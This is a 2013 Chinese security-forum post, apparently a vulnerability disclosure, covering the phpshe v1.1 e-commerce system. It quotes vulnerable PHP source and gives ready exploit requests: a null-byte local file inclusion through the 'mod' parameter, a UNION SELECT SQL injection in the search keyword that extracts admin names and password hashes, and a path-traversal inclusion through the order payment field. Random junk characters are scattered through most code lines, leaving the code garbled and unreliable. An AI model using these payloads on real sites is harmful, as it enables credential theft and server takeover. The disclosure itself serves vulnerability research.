找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2141|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
: ], }' f, s7 Y  a/* Phpshe v1.1 Vulnerability
, c2 o2 {4 P  n) f/* ========================1 D' P7 ]+ k$ N: Z$ |, V9 M& G5 ^6 ?6 \
/* By: : Kn1f3
* e! ~5 l  l: Q& @% T9 m# e; k/* E-Mail : 681796@qq.com
5 x' C" {( P3 F  r9 I- d/*******************************************************/
) g9 t- p. V5 s0×00 整体大概参数传输2 [" a. t0 t" J: `

) d' ^0 s3 D& q  u! W9 b: F- i* {: V

" M8 s$ W' {# v2 F  P9 [" q//common.php
* h7 K1 z# C! q; y7 \if (get_magic_quotes_gpc()) {
& p: W- z" R% N3 x5 i!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');/ d( ]9 I) c: C- d( B
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');) N2 C1 t/ A' h
}5 N& I9 L2 _( x- j& R& h% L8 j6 M. q
else {& Q# [/ g) q7 u4 |; n$ Z6 z0 m# |
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');. G3 |, `/ a0 l+ C, n4 W  h
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');; N- `( C  L3 [& g6 n
}. ]+ l' _. [) g" Q
session_start();& m6 C! O3 h2 n4 a) \" z7 S' ?2 L
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');6 I* k2 Y9 f$ N  A
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
0 H, u1 X4 ?1 Q8 ^" t* D  X- e5 W0 R  g# `4 e. f
0×01 包含漏洞0 `) }  v. L9 r: F

$ k- @" V6 x/ [. L9 M# H9 j! z9 v

5 M) u1 ^+ P8 F, X9 A' B5 o: P//首页文件+ D; `+ k% Z% [8 c
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
. y/ W+ A$ c! l" y; M5 p  }* Finclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞" P( _) z" U5 T
pe_result();2 a( l3 A$ a# R7 [6 b  Y
?>) B" _! l! S/ w* t
//common 文件 第15行开始
' ~/ ~7 P! A, i8 \& {url路由配置. k5 L" ^& ]7 O5 h! P$ n7 [* N
$module = $mod = $act = 'index';! C7 M4 Q$ B& B( m/ e# \2 F" a
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);+ I- x% b: m1 r6 o2 U9 j
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
% H9 X: y4 ?" ~) a$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
9 v, t+ a* {/ e//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
$ y! E2 _+ O7 S. G9 e2 h; u

; ]( L9 U1 j# k
0 i# D( V! t) Y. E6 _& `
0×02 搜索注入; m$ e/ ]  U# s  R+ A" j2 K6 P

8 H  }  z: L/ K<code id="code2">

//product.php文件2 j5 S; L# h9 q: c
case 'list':! v( Z  a6 Y7 @8 Z) X
$category_id = intval($id);) {( f% F3 s1 _: [) D8 k; ^
$info = $db->pe_select('category', array('category_id'=>$category_id));
: ^; b& W& v8 B% J* K//搜索
- f" O5 f  S9 ?5 z5 W: y" Y$sqlwhere = " and `product_state` = 1";
* r  n& X( f3 n+ H; o- ?8 i* h+ Ipe_lead('hook/category.hook.php');
, z. K4 P- {0 h0 T! Tif ($category_id) {
6 d. O0 Q. E) X8 L* j9 T# Hwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";3 J  M9 m$ D9 }8 s
}
$ |1 E$ Z4 H, w) i6 d$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤+ u- B% m3 O! ]- |( K% s
if ($_g_orderby) {/ \% D" d8 Z! _8 n) ^( m
$orderby = explode('_', $_g_orderby);7 X% h3 @2 ~4 G" ~
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
( }* F4 D8 f( ?. j) V# d}7 X: g" Y3 c- `6 L, O. P
else {& b! S' Z' z8 G( b) {
$sqlwhere .= " order by `product_id` desc";
7 n! v# h+ g$ ]: b3 D/ n+ k}
! p* M: ]/ ]! d4 s" ^5 i6 S$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));3 q* J% M7 u5 L+ h% e2 e
//热卖排行+ L( V" F' [+ F7 k
$product_hotlist = product_hotlist();/ P0 L+ _8 I/ Q; M$ f% I& h
//当前路径
- f+ S+ f2 o3 f) v+ A$nowpath = category_path($category_id);
/ [* I) f; s+ X# Z" T1 t  x5 @$seo = pe_seo($info['category_name']);
: O% N. g( |' `7 W6 hinclude(pe_tpl('product_list.html'));. V3 J' F0 N  b6 h, _6 X
//跟进selectall函数库
2 l6 G8 M  Q4 b, [% opublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
) V) z( \- D# C% P: e{8 H8 N# e. f/ _8 |  S
//处理条件语句
" [$ y, A" p" [( @) L$sqlwhere = $this->_dowhere($where);& }8 H* ~; I/ Y( o
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
6 n, R# P$ d% i4 Y; y+ z}9 ~4 A2 X$ D8 \) k5 ]* c
//exp7 S9 R) q: j1 x/ b
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='15 B+ N" s+ O3 z

</code>0 |' [; ]: U& P7 y) d* L9 S

: z8 }  ~+ l1 r3 d1 h+ e1 F+ I, g0×03 包含漏洞2
* [, E& q! w% J
  z- V$ |  o% @6 [6 H& Z0 X<code id="code3">

//order.php

case 'pay':


  q/ ]1 B$ f3 Y( f$ |$order_id = pe_dbhold($_g_id);


8 h: Y, e  J9 R3 _9 Y$cache_payway = cache::get('payway');


* _& a5 R% d& ]foreach($cache_payway as $k => $v) {


4 a3 i! K5 M) S& y$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


6 ^1 a0 q+ X4 s$ m) cif ($k == 'bank') {

0 {/ }; }( h. }6 ?2 ?2 R
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


. S+ I" z$ f* O, q}

  ?9 {6 e3 [* h4 ~3 r
}

# y! @* E  V) [0 B3 D1 }( w. y
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


- h. m& t9 Q5 f+ q/ t! x  U6 E!$order['order_id'] && pe_error('订单号错误...');


( O5 V' [" A: s6 P' Cif (isset($_p_pesubmit)) {


8 F( @7 o: d% |! H0 a/ R4 }if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


4 F2 f" Y$ K2 J$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

6 S; A( I3 K3 x2 a" R; N( m
foreach ($info_list as $v) {


% }4 ~9 e/ n3 j$order['order_name'] .= "{$v['product_name']};";- G9 t2 l( b! A8 O; B

+ ^# X. T7 b" K3 s* |9 l4 Q
}


& l0 x- c/ ]3 L& \- Gecho '正在为您连接支付网站,请稍后...';


: X+ o$ G( ^7 w: j. m) g+ Pinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

3 h3 }3 [# s& U: d" c& B# C
}//当一切准备好的时候就可以进行"鸡肋包含了"

, f) D6 K  `+ y: n0 ~( b( _
else {

# F, l$ Y# R& A# G. B
pe_error('支付错误...');

9 C8 K  O0 k  O# S9 P1 s& J# d
}

2 _0 P: O$ t# x" A: }' ^* c& B
}

( X$ Y' q/ n% O% v2 N1 a
$seo = pe_seo('选择支付方式');


. h% P5 A/ }6 c4 o( j$ binclude(pe_tpl('order_pay.html'));

. b3 {, Z  J9 a+ J
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>- t! Z( l' F5 V! Q3 `7 t( [4 K
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表